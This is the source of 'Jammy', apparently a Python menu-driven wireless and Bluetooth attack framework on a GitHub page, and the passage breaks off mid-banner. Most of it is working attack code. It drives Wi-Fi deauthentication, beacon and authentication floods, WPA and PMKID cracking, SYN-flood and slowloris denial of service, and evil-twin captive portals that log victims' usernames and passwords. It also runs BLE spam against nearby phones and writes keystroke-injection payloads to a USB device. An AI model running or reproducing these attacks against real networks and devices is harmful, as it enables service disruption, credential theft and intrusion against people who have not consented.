-
Notifications
You must be signed in to change notification settings - Fork 4
/
Jammy
1032 lines (874 loc) · 39.6 KB
/
Jammy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
import os
import time
from JammyTools.ble import start_mask
from JammyTools.ble import airspam
from JammyTools.sour import SourApple
from JammyTools.redtooth import startooth
import subprocess
from JammyTools.JammyDoS import jammy_dos
import sys
from platform import platform
from JammyTools.colors import cprint, iprint, wprint, cinput, RED, GREEN, WHITE, MAGENTA, BLUE, RESET, BRIGHT, CYAN, YELLOW, LIGHT_GREEN, BLACK, LIGHT_YELLOW, LIGHT_RED, LIGHT_BLUE, LIGHT_CYAN, LIGHT_MAGENTA, LIGHT_WHITE
import shutil
import argparse
"""
IMPORTANT:
- For captive portal to send back and log credentials,
use 'username', 'password' as field's names in POST forms
"""
def os_detect():
"""
Used for MCU purposes or to automate the process of uploading files to NeoDucky
"""
uos = platform(aliased=True)
system_ = "Linux"
if "Linux" in uos:
system_ = system_
elif "Windows" in uos:
system_ = "Windows"
elif "MacOS" in uos:
system_ = "MacOS"
print(uos)
return system_
jammy_menu_logo = """
\033[31m
██╗ █████╗ ███╗ ███╗███╗ ███╗██╗ ██╗
██║██╔══██╗████╗ ████║████╗ ████║╚██╗ ██╔╝
██║███████║██╔████╔██║██╔████╔██║ ╚████╔╝
██ ██║██╔══██║██║╚██╔╝██║██║╚██╔╝██║ ╚██╔╝
╚█████╔╝██║ ██║██║ ╚═╝ ██║██║ ╚═╝ ██║ ██║
╚════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝
"""
def eline():
return print("")
def clear():
return os.system('clear')
class Welcome:
def __init__(self):
clear()
columns, rows = shutil.get_terminal_size()
self.big_text = f"""{RED}{BRIGHT}
____ ____ ______ _______ ______ _______ _____ _____
| | ____|\ \ | \/ \ | \/ \ |\ \ / /|
| | / /\ \ / /\ \ / /\ \ | \ \ / / |
| || | | | / /\ / /\ | / /\ / /\ || \____\/ / /
____ | || |__| | / /\ \_/ / / /| / /\ \_/ / / /| \ | / / /
| | | || .--. || | \|_|/ / / || | \|_|/ / / | \|___/ / /
| | | || | | || | | | || | | | | / / /
|\____\|____||____| |____||\____\ |____| /|\____\ |____| / /____/ /
| | | || | | || | | | | / | | | | | / |` | /
\|____|____||____| |____| \|____| |____|/ \|____| |____|/ |_____|/
\( )/ \( )/ \( )/ \( )/ )/
' ' ' ' ' ' ' ' '
"""
self.small_text = jammy_menu_logo
print(self.big_text if columns > 80 else self.small_text)
time.sleep(1.4)
clear()
self.post_init()
def post_init(self):
self.interfaces = self.get_interface()
self.show_interfaces()
eline()
choice = int(cinput('Choose interface')) - 1
self.wlan = self.interfaces[choice][0] if self.interfaces else "Invalid choice"
cprint(f'Chosen interface: {self.wlan}, flying away...')
self.toggle_awus_led("on")
def get_driver_name(self, iface):
try:
driver_info = subprocess.check_output(f'ethtool -i {iface} 2>/dev/null', shell=True, encoding='utf-8').strip()
for line in driver_info.split('\n'):
if line.startswith('driver:'):
return line.split(':')[1].strip()
except subprocess.CalledProcessError:
return "Unknown"
def get_interface(self):
print(jammy_menu_logo)
iprint("Listing network interfaces...")
try:
output = subprocess.check_output('iwconfig', stderr=subprocess.STDOUT, shell=True, encoding='utf-8').strip()
except subprocess.CalledProcessError as e:
print("Error executing iwconfig:", e)
return []
iface_details = []
iface_name = ''
mode = ''
for line in output.split('\n'):
if line and not line.startswith(' '):
if iface_name:
driver_name = self.get_driver_name(iface_name)
iface_details.append((iface_name, driver_name, mode))
iface_name = line.split()[0]
mode = ''
elif 'Mode:' in line:
mode = line.split('Mode:')[1].split()[0]
if iface_name:
driver_name = self.get_driver_name(iface_name)
iface_details.append((iface_name, driver_name, mode))
return iface_details
def show_interfaces(self):
max_len_iface = max(len(iface[0]) for iface in self.interfaces) if self.interfaces else 0
max_len_driver = max(len(iface[1]) for iface in self.interfaces) if self.interfaces else 0
print(f"""{GREEN}{BRIGHT}ID Name Driver Mode{RESET}\n""")
for index, (iface, driver, mode) in enumerate(self.interfaces, start=1):
formatted_iface = f"{BRIGHT}{BLUE}{index}) {iface.ljust(max_len_iface)} {driver.ljust(max_len_driver)} {mode}"
print(formatted_iface)
def toggle_awus_led(self, mode):
if os.path.exists(f"/proc/net/rtl88XXau/{self.wlan}/led_ctrl"):
if mode == "on":
os.system(f"echo \"1\" > /proc/net/rtl88XXau/{self.wlan}/led_ctrl")
elif mode == "off":
os.system(f"echo \"0\" > /proc/net/rtl88XXau/{self.wlan}/led_ctrl")
else:
return iprint("Couldn't find AWUS036XXX! Make sure you are using proper equipment.")
def display_banner():
print(f"""\033[36m{BRIGHT}
___
|_ |
| | __ _ _ __ ___ _ __ ___ _ _
| |/ _` | '_ ` _ \| '_ ` _ \| | | |
/\__/ / (_| | | | | | | | | | | | |_| |
\____/ \__,_|_| |_| |_|_| |_| |_|\__, |
__/ |
|___/
\033[31m
_____ _ _
/ __ \ | | (_)
| / \/ ___ ___ | | ___ _ __ __ _
| | / _ \ / _ \| |/ / | '_ \ / _` |
| \__/\ (_) | (_) | <| | | | | (_| |_ _ _
\____/\___/ \___/|_|\_\_|_| |_|\__, (_|_|_)
__/ |
|___/
{RESET}""")
class Jammer:
def __init__(self, interface):
if interface is None:
self.settings = Welcome()
self.wlan = self.settings.wlan if interface is None else interface
def toggle_awus_led(self, mode):
if os.path.exists(f"/proc/net/rtl88XXau/{self.wlan}/led_ctrl"):
if mode == "on":
os.system(f"echo \"1\" > /proc/net/rtl88XXau/{self.wlan}/led_ctrl")
elif mode == "off":
os.system(f"echo \"0\" > /proc/net/rtl88XXau/{self.wlan}/led_ctrl")
else:
return iprint("Couldn't find AWUS036XXX! Make sure you are using proper equipment.")
def init_monitor_mode(self, mode="monitor"):
try:
for interface in self.interface:
os.system(f'sudo iwconfig {interface} mode {mode}')
except Exception as e:
wprint(f"Error while putting interface in monitor mode: {e}")
def safecall(self, cmd, debug=""):
try:
os.system(cmd)
except Exception as e:
wprint(f"Error executing '{cmd}': {debug if debug != '' else e}")
def init_jammer(self, interface, mode, options=""):
self.inf = interface
self.modes = ["a", "b", "p", "d", "m"]
self.mode = mode
self.options = options
self.start_jamming()
def start_jamming(self):
print("\033[31m")
if self.mode in self.modes:
self.current_mode = self.mode
print("\033[0m")
os.system(f"sudo mdk4 {self.inf} {self.current_mode} {self.options}")
def action_bflood(self, e=None):
clear()
cprint("Preparing the attack...")
cprint("1) Use unique AP name")
cprint("2) Mess with beacon data")
cprint("3) Global")
fargs = cinput("Enter option's number")
cprint("Flooding all nearby devices and APs..")
display_banner()
if fargs == "1":
name = cinput("Enter SSID name")
e = f"-n {name}"
elif fargs == "2":
e = f"-a"
self.init_jammer(interface=self.wlan, mode="b", options=e)
cprint("Flooded!")
def action_basprobe(self, e=None):
clear()
cprint("Preparing the attack...")
target_ip = cinput("Enter target AP's MAC Address")
newe = f"-t {target_ip} " + e
display_banner()
self.init_jammer(interface=self.wlan, mode="p", options=newe)
def action_deauth(self, e=None):
cprint("Preparing the attack...")
print(RED)
print(f"""{BRIGHT}{BLUE}
{BLUE}, . . {RED} ,-. .
{BLUE}| o | | {RED} / \ |
{BLUE}| . ,-: |-. |- ,-. {RED} | | . . |-
{BLUE}| | | | | | | `-. {RED} \ / | | |
{BLUE}`--' ' `-| ' ' `-' `-' {RED} `-' `-` `-'
{BLUE} `-'
1) ESSID
2) BSSID
3) Station (device)
4) Global + Whitelist
5) Global
6) Mass Deauth (3way)
7) Mass Deauth + Whitelist (3way)
8) Scan for ESSIDs and BSSIDs
""")
choice_of_war = cinput("Choose type of attack")
if choice_of_war == "1":
essid = cinput("Enter network's name (ESSID)")
e = f"-E {essid}"
elif choice_of_war == "2":
bssid = cinput("Enter network's mac address (BSSID)")
e = f"-B {bssid}"
elif choice_of_war == "3":
bssid = cinput("Enter device's mac address (BSSID)")
e = f"-S {bssid}"
elif choice_of_war == "4":
os.system("sudo ifconfig")
bssid = cinput("Enter your mac address (BSSID)")
e = f"-W {bssid}"
elif choice_of_war == "5":
e = "-x"
elif choice_of_war == "6":
self.safecall(f"sudo Freeway -i {self.wlan} -a deauth -p 8", "You do not have Freeway installed! Visit github.com/FLOCK4H/Freeway")
return
elif choice_of_war == "7":
self.safecall(f"sudo Freeway -i {self.wlan} -a deauth -p 8w", "You do not have Freeway installed! Visit github.com/FLOCK4H/Freeway")
return
elif choice_of_war == "8":
self.action_wlanmon(e=None)
self.action_deauth(e=None)
iprint("Wait, let me find clients...")
self.init_jammer(interface=self.wlan, mode="d", options=e)
def action_mshutex(self, e=None):
clear()
cprint("Preparing the attack...")
target_ip = cinput("Enter target AP's MAC Address (that runs TKIP encryption)")
newe = f"-t {target_ip}"
cprint("1) QoS Exploit")
cprint("2) Global")
choice_of_war = cinput("Enter option's number")
newe = newe + " -j" if choice_of_war == "1" else ""
display_banner()
self.init_jammer(interface=self.wlan, mode="m", options=newe)
def action_authdos(self, e=None):
clear()
cprint("Preparing the attack...\n\n")
cprint("1) Target specific AP")
cprint("2) Target specific AP + Perform intelligent test")
cprint("3) Scan for APs")
cprint("4) Global")
eline()
choice_of_war = cinput("Enter option's number")
if choice_of_war == "1":
ap_mac = cinput("Enter AP's MAC Address")
e = f"-a {ap_mac}"
elif choice_of_war == "2":
ap_mac = cinput("Enter AP's MAC Address")
e = f"-i {ap_mac}"
elif choice_of_war == "3":
self.action_wlanmon(e=None)
self.action_authdos(e=None)
display_banner()
self.init_jammer(interface=self.wlan, mode="a", options=e)
def action_wifite(self, e=None):
clear()
cprint("Preparing the attack...\n")
cprint("1) Use infinite mode + randomize mac address")
cprint("2) Pillage all nearby devices after X time")
cprint("3) Run wifite with --kill (kills conflicting processes)")
cprint("4) Specify a file for cracking the passwords")
cprint("5) Only show targets with clients")
cprint("6) Check network capture file (.cap) for WPA handshakes")
cprint("7) Run only specified attack")
cprint("8) Cracking the password")
eline()
cow = cinput("Choose wifite mode")
if cow == "1":
e = f"--random-mac -inf"
elif cow == "2":
iprint("Attacking all targets after scan time in seconds")
scan_time = cinput("Enter scan time")
e = f"-p {scan_time}"
elif cow == "3":
e = "--kill"
elif cow == "4":
ffp = cinput("Enter path to the file containing password list")
e = f"--dict {ffp}"
elif cow == "5":
e = "--clients-only"
elif cow == "6":
ftc = cinput("Enter path to .cap file")
e = f"--check {ftc}"
elif cow == "7":
cprint("1) WPS PIN & Pixie-Dust attacks")
cprint("2) Capture the PMKID")
eline()
choice_of_war = cinput("Attack to run (number)")
if choice_of_war == "1":
e = "--wps-only"
elif choice_of_war == "2":
e = "--pmkid"
elif cow == "8":
e = "--crack"
os.system(f"sudo wifite -i {self.wlan} {e}")
cinput("Ready to go? (press enter)")
def action_fap(self, e=None):
cprint('Preparing the attack..')
fp = cinput("Enter name of SSID text file (press enter for some random)")
if fp == "":
fp = "SSIDs.txt"
clear_path = os.path.join(os.path.dirname(__file__), "JammyTools", fp)
cprint(f"Path: {clear_path} | Running the attack now...")
os.system(f'sudo mdk4 {self.wlan} b -f {clear_path} -m')
wprint("Attack stopped.")
def action_sourapple(self, e=None):
l = self.aq()
SourApple(l)
def aq(self):
q = cinput("Adapters quantity")
i = 0
l = []
while i < int(q):
l.append(f"hci{i}")
i += 1
return l
def airspamming(self):
l = self.aq()
airspam(l)
def action_airspam(self, e=None):
cprint("Preparing the attack...")
self.airspamming()
def action_redtooth(self, e=None):
startooth()
def blue_fog(self, e=None):
l = self.aq()
start_mask(l)
def action_wificap(self, e=None):
fp = cinput("Enter path to save results")
fp = fp if fp != "" else "~/caps/res_"
wprint("The device may temporarily disconnect from VNC if enabled")
os.system(f"sudo iwconfig {self.wlan} mode monitor")
os.system(f"sudo airodump-ng {self.wlan} -w {fp}")
cprint(f"Check path: {fp} for the results!")
display_menu()
def action_wlanmon(self, e=None):
cprint(f"Enabling monitor mode on {self.wlan}...")
wprint("The device may temporarily disconnect from VNC if enabled")
print(GREEN)
os.system(f"sudo iwconfig {self.wlan} mode monitor")
os.system(f"sudo airodump-ng wlan1 --uptime --manufacturer --wps --gpsd")
cinput(f"Ready to go? (press anything)")
display_menu()
def action_bluefog(self, e=None):
cprint("Preparing the attack...")
self.blue_fog()
def action_jammydos(self, e=None):
cprint("Preparing the attack...")
ip = cinput("Enter target IP")
port = cinput("Enter target port")
turbo = cinput("Change turbo? (default 200) value")
jammy_dos(ip, port if port != '' else '80', turbo if turbo != '' else '200')
def action_captive_portal(self, e=None):
cprint("1) Enable captive portal")
cprint("2) Enable hostile portal")
uchoice = cinput("What do you want to do?")
template = cinput("Template name (download, login, mcd, google, ..)")
iprint("I'm configuring interfaces and flushing ip tables, just a moment...")
os.system("sudo systemctl stop dnsmasq")
os.system("sudo iptables --flush")
os.system("sudo iptables --table nat --flush")
os.system("sudo iptables --delete-chain")
os.system("sudo iptables --table nat --delete-chain")
time.sleep(.4)
iprint("Interfaces configured, launching...")
print(f"{BRIGHT}{BLUE}")
dest = "/var/log/eaphammer/logs"
if not os.path.exists(f"{dest}/dnsmasq.log"):
wprint("dnsmasq.log must be created!")
os.makedirs(dest)
with open(f"{dest}/dnsmasq.log", 'w') as f:
f.write("")
if uchoice == "1":
os.system(f"sudo eaphammer --captive-portal --manual-config /etc/hostapd/hostapd.conf --portal-template {template}")
elif uchoice == "2":
os.system(f"sudo eaphammer --hostile-portal --manual-config /etc/hostapd/hostapd.conf --portal-template {template}")
def action_blue_ducky(self, e=None):
cprint("Launching the framework..")
iprint("All credits go to @pentestfunctions, @saad0x1")
time.sleep(2)
from JammyTools.RedDucky.RedDucky import RedDucky
RedDucky()
def action_fuzzer(self, e=None):
iprint("Jammy is always one step ahead..")
eline()
print(f"""{CYAN}
a - Sniff packets from the air
b - Create valid beacon frames with random SSIDs and properties
c - Create CTS frames to broadcast (you can also use this for a CTS DoS)
p - Create broadcast probe requests
""")
eline()
sources = cinput("Choose the source(s)")
print(f"""{CYAN}
n - No modifier, do not modify packets
b - Set destination address to broadcast
m - Set source address to broadcast
s - Shotgun: randomly overwrites a couple of bytes
t - append random bytes (creates broken tagged parameters in beacons/probes)
c - Cut packets short, preferably somewhere in headers or tags
d - Insert random values in Duration and Flags fields
""")
modifiers = cinput("Choose the modifier(s)")
iprint(f"You chose {sources} as sources and {modifiers} as modifiers")
sources = sources.replace(" ", "").replace(",", "")
cmd = f"sudo mdk4 {self.wlan} f -s {sources} -m {modifiers} -p 3000"
print(cmd)
os.system(cmd)
cinput("Ready to go? (press enter)")
def action_localdos(self, e=None):
def dos_the_locals():
iprint("Preparing the DoS attack..")
print(BLUE, BRIGHT)
os.system("sudo arp-scan --localnet")
target = cinput("Enter target's address")
os.system(f"sudo hping3 -I {self.wlan} -S {target} -p 400 --flood --rand-source")
def choices():
opt = cinput("Another round? (Y/N)")
if opt.lower() == "y":
time.sleep(2)
dos_the_locals()
elif opt.lower() == "n":
pass
else:
wprint("Bro, you input wrong")
choices()
choices()
dos_the_locals()
def action_watchspam(self, e=None):
import JammyTools.sams as sams
print(f"{BRIGHT}{GREEN}")
os.system("sudo hciconfig")
hci = cinput("ID of external bluetooth adapter")
print(f'{RESET}')
sams.SourSams(hci)
def action_run_shark(self, e=None):
clear()
try:
os.system('sudo shark')
except Exception as e:
iprint(f"If Shark is not installed please do so using {BLUE}'sudo bash setup'{WHITE} command in shark directory")
iprint(f"The error: {e}")
def action_pmkid_crack(self, e=None):
clear()
pmkid_path = cinput("Enter pmkid path")
wordlist_path = cinput("Enter wordlist path")
output_path = cinput("Enter output path (or leave blank)")
self.safecall(f"sudo hashcat -m 22000 {pmkid_path} {wordlist_path} -o {output_path if output_path != '' else os.path.join(os.path.dirname(__file__), 'pmk_output.txt')}")
def action_handshake_crack(self, e=None):
clear()
hs_path = cinput("Enter handshake path (.hccapx)")
wordlist_path = cinput("Enter wordlist path")
output_path = cinput("Enter output path (or leave blank)")
self.safecall(f"sudo hashcat -m 22000 {hs_path} {wordlist_path} -o {output_path if output_path != '' else os.path.join(os.path.dirname(__file__), 'hs_output.txt')}")
def action_slowloris(self, e=None):
clear()
from JammyTools.slowloris import main
host = cinput("Enter domain or an IP address")
main(host)
class Neo:
def __init__(self):
self.script_dir = os.path.dirname(__file__)
def list_select_payload(self):
try:
payloads_dir = os.path.join(self.script_dir, "JammyTools", "neo_payloads")
payloads = os.listdir(payloads_dir)
payload_list = []
for payload in payloads:
payload_path = os.path.join(payloads_dir, payload)
with open(payload_path, "r") as f:
data = f.read()
payload_list.append({payload: data})
for i, payload_dict in enumerate(payload_list, start=1):
for name, _ in payload_dict.items():
cprint(f"{i}) {name}")
selected_index = int(cinput("Which payload do you choose? ")) - 1
if 0 <= selected_index < len(payload_list):
selected_payload_dict = payload_list[selected_index]
selected_payload_name = list(selected_payload_dict.keys())[0]
selected_payload_data = selected_payload_dict[selected_payload_name]
return selected_payload_data
else:
print("Invalid selection.")
return None
except Exception as e:
print(f"Error: {e}")
return None
def list_partitions(self):
"""
Used only in HID attacks, specifically with NeoDucky
"""
partitions = [dev for dev in os.listdir("/dev") if dev.startswith("sd") or dev.startswith("nvme")]
for i, partition in enumerate(partitions, start=1):
print(f"{i}) /dev/{partition}")
return partitions
def duckypload(self, path, payload):
try:
with open(path, "w") as f:
f.write(payload)
iprint("Successfuly saved the new payload!")
except Exception as e:
wprint(e)
def action_neo_upload(self, e=None):
system_ = os_detect()
sysuser = os.getlogin()
if system_ == "Linux":
fpath = os.listdir("/")
path_found = False
for path in fpath:
if path == "media":
path_found = True
print("Listing available partitions:")
neo_path = f"/media/{sysuser}/CIRCUITPY"
partitions = self.list_partitions()
partition_number = int(cinput("Select the partition number to attempt mount")) - 1
if 0 <= partition_number < len(partitions):
selected_partition = partitions[partition_number]
if not os.path.exists(neo_path):
os.makedirs(neo_path)
iprint(f"Created mount point directory at {neo_path}.")
mount_command = ['sudo', 'mount', f"/dev/{selected_partition}", neo_path]
try:
subprocess.check_call(mount_command)
iprint(f"Attempting to mount /dev/{selected_partition} to {neo_path}...")
except subprocess.CalledProcessError as err:
wprint(f"Mount attempt failed: {err}")
else:
wprint("Invalid partition selection.")
if os.path.exists(neo_path):
iprint("Successfully found NeoDucky!")
print("\n\n")
cprint("1) List payloads")
cprint("2) Create a new payload")
cprint("3) Upload from disk")
opt = cinput("What do you want to do?")
clear()
if int(opt) == 1:
payload = self.list_select_payload()
print(payload)
self.duckypload(os.path.join(neo_path, "JammyTools/payload.txt"), payload)
elif int(opt) == 2:
print(f"""{BLUE}
{GREEN}CONTROLS {MAGENTA}TOGGLES
<ESC> - ESCAPE, <CTRL> - Left Control
<BSC> - BACKSPACE, <LALT> - Left Alt
<TAB> - TAB, <CTRR> - Right Control
<SCR> - PRINT SCREEN, <RALT> - Right Alt
<SLK> - SCROLL LOCK, <timeX> - sleep for X time
<PAS> - PAUSE, <LOOP> - Run in loop
<INS> - INSERT, <GCMD> - GUI/Command
<HOE> - HOME, <LSHT> - Left Shift
<PGU> - PAGE UP, <RSHT> - Right shift
<PGD> - PAGE DOWN, <CAPS> - Capslock
<ARR> - ARROW RIGHT,
<ARL> - ARROW LEFT,
<ARD> - ARROW DOWN,
<ARU> - ARROW UP,
<NLK> - NUMLOCK,
<APP> - APPLICATION,
<PWR> - macOS only,
<GUI> - WINDOWS KEY,
<CMD> - WINDOWS KEY,
<WIN> - WINDOWS KEY,
<CTL> - LEFT CONTROL,
<SPC> - SPACEBAR
""")
payload = cinput("Enter new payload")
self.duckypload(os.path.join(neo_path, "JammyTools/payload.txt"), payload)
elif int(opt) == 3:
path_to_payload = cinput("Enter file path")
try:
with open(path_to_payload, "r") as f:
payload = f.read()
self.duckypload(os.path.join(neo_path, "JammyTools/payload.txt"), payload if payload else wprint("Payload is empty!"))
except Exception as e:
print(str(e))
else:
wprint(f"Couldn't find {neo_path}")
if not path_found:
wprint("Couldn't find media folder")
elif system_ == "Windows":
print("Not implemented yet!")
elif system_ == "MacOS":
print("Not implemented yet!")
time.sleep(4)
def action_neo_storage_disable(self, e=None):
system_ = os_detect()
sysuser = os.getlogin()
if system_ == "Linux":
fpath = os.listdir("/")
path_found = False
for path in fpath:
if path == "media":
path_found = True
print("Listing available partitions:")
neo_path = f"/media/{sysuser}/CIRCUITPY"
partitions = self.list_partitions()
partition_number = int(cinput("Select the partition number to attempt mount")) - 1
if 0 <= partition_number < len(partitions):
selected_partition = partitions[partition_number]
if not os.path.exists(neo_path):
os.makedirs(neo_path)
iprint(f"Created mount point directory at {neo_path}.")
mount_command = ['sudo', 'mount', f"/dev/{selected_partition}", neo_path]
try:
subprocess.check_call(mount_command)
iprint(f"Attempting to mount /dev/{selected_partition} to {neo_path}...")
except subprocess.CalledProcessError as err:
wprint(f"Mount attempt failed: {err}")
else:
wprint("Invalid partition selection.")
if os.path.exists(neo_path):
iprint("Successfully found NeoDucky!")
with open(os.path.join(neo_path, "boot.py"), "w") as f:
payload = """import storage\n\nstorage.disable_usb_device()"""
f.write(payload)
iprint("Done!")
else:
wprint(f"Couldn't find {neo_path}")
if not path_found:
wprint("Couldn't find media folder")
elif system_ == "Windows":
print("Not implemented yet!")
elif system_ == "MacOS":
print("Not implemented yet!")
time.sleep(2)
def action_neo_storage_enable(self, e=None):
from JammyTools.neoserial import list_serial_ports, connect_to_repl_and_send_command
system_ = os_detect()
if system_ == "Linux":
cprint("Available serial ports:")
ports = list_serial_ports()
port_index = int(cinput("Enter the port")) - 1
if 0 <= port_index < len(ports):
port = ports[port_index]
iprint(f"Connecting to {port}...")
command = 'storage.enable_usb_device()'
connect_to_repl_and_send_command(port, command)
cprint("Done!")
else:
print("Invalid port selection.")
elif system_ == "Windows":
print("Not implemented yet!")
elif system_ == "MacOS":
print("Not implemented yet!")
time.sleep(2)
def action_neo_soft_reboot(self, e=None):
from JammyTools.neoserial import list_serial_ports, connect_to_repl_and_send_command
system_ = os_detect()
if system_ == "Linux":
cprint("Available serial ports:")
ports = list_serial_ports()
port_index = int(cinput("Enter the port")) - 1
if 0 <= port_index < len(ports):
port = ports[port_index]
iprint(f"Connecting to {port}...")
command = 'reload()'
connect_to_repl_and_send_command(port, command)
cprint("Done!")
else:
print("Invalid port selection.")
elif system_ == "Windows":
print("Not implemented yet!")
elif system_ == "MacOS":
print("Not implemented yet!")
time.sleep(2)
def action_exit(e=None):
iprint(f"BYEE!")
sys.exit(0)
def main_menu():
clear()
print(jammy_menu_logo)
cprint(f"1) {GREEN}WiFi{BLUE}")
cprint(f"2) {BLUE}Blue{LIGHT_WHITE}tooth")
cprint(f"3) {CYAN}BLE")
cprint(f"4) {YELLOW}HID{BLUE}")
cprint(f"5) {RED}Exploits{BLUE}")
cprint(f"6) {LIGHT_GREEN}Phishing{BLUE}")
cprint(f"7) {LIGHT_MAGENTA}Crackers{BLUE}\n")
cprint(f"8) {BRIGHT}Quit {LIGHT_GREEN}Jammy{BLUE}\n\n")
option = cinput(f"Enter option's number")
if int(option) == 8:
sys.exit(0)
return int(option)
def print_options_per_mode(mode):
clear()
print(jammy_menu_logo)
if mode == "wifi":
print("""
_ _ _ ___
| | | |()| __()
| V V |||| _|||
\_n_/ L||_| L|
""")
cprint("1) b - Beacon Flood Mode")
cprint("2) a - Authentication DoS mode")
cprint("3) p - Basic probing and ESSID Bruteforce mode")
cprint("4) d - Deauthentication/ Disassociation")
cprint("5) m - Shutdown exploitation attack / Cancels all traffic (mac required)")
cprint("6) f - Packet Fuzzer / Local DDoS")
cprint("7) wifi - Run wifite exploitation toolsuit")
cprint("8) fap - Flood (with) Access Points :)")
cprint("13) wificap - Run interface in monitor mode and save output to the file")
cprint("14) mon - Run interface in monitor mode and copy bssid to target")
cprint("16) et - Evil Twin AP Attack")
elif mode == "hid":
cprint("21) neoup - Upload payload to NeoDucky")
cprint("22) neoon - Enable NeoDucky storage mode")
cprint("23) neooff - Disable NeoDucky storage mode")
cprint("24) neosoft - Soft-reboot NeoDucky")
elif mode == "bt":
print(f"""{BRIGHT}
{BLUE},-----. {WHITE} ,--.
{BLUE}| |) /_ {WHITE},-' '-.
{BLUE}| .-. \{WHITE}'-. .-'
{BLUE}| '--' /{WHITE} | |
{BLUE}`------' {WHITE} `--'
""")
cprint("10) r - Redtooth ®")
cprint("11) bf - Bluefog")
elif mode == "ble":
print(f"""{BLUE}{BRIGHT}
____ __ ______
/ __ )/ / / ____/
/ __ / / / __/
/ /_/ / /___/ /___
/_____/_____/_____/
""")
cprint("9) bts - Bluetooth Spam (Advertisements)")
cprint("12) asp - BLE Airpods Spam")
cprint("18) bd - BlueDucky HID BLE Attack")
cprint("20) sams - BLE spam nearby android phones")
elif mode == "phishing":
print(f"""{BLUE}{BRIGHT}
\t /"*._ _
\t .-*'` `*-.._.-'/
\t < * )) , (
\t `*-._`._(__.--*"`.\ \n
""")
cprint("25) shark - Run Shark")
elif mode == "exploits":
print(f"""{BRIGHT}
__ _ __
___ _ ______ / /___ (_) /______
/ _ \| |/_/ __ \/ / __ \/ / __/ ___/
/ __/> </ /_/ / / /_/ / / /_(__ )
\___/_/|_/ .___/_/\____/_/\__/____/
/_/
""")
cprint("15) rage - Perform DDoS attack on the target ip:port")
cprint("18) bd - BlueDucky HID BLE Attack")
cprint("19) localdos - Flood a device from your local network")
cprint("28) slowloris - DoS method")
elif mode == "crackers":
print(f"""{BRIGHT}
▄▄· ▄▄▄ ▄▄▄· ▄▄· ▄ •▄ ▄▄▄ .▄▄▄ .▄▄ ·
▐█ ▌▪▀▄ █·▐█ ▀█ ▐█ ▌▪█▌▄▌▪▀▄.▀·▀▄ █·▐█ ▀.
██ ▄▄▐▀▀▄ ▄█▀▀█ ██ ▄▄▐▀▀▄·▐▀▀▪▄▐▀▀▄ ▄▀▀▀█▄
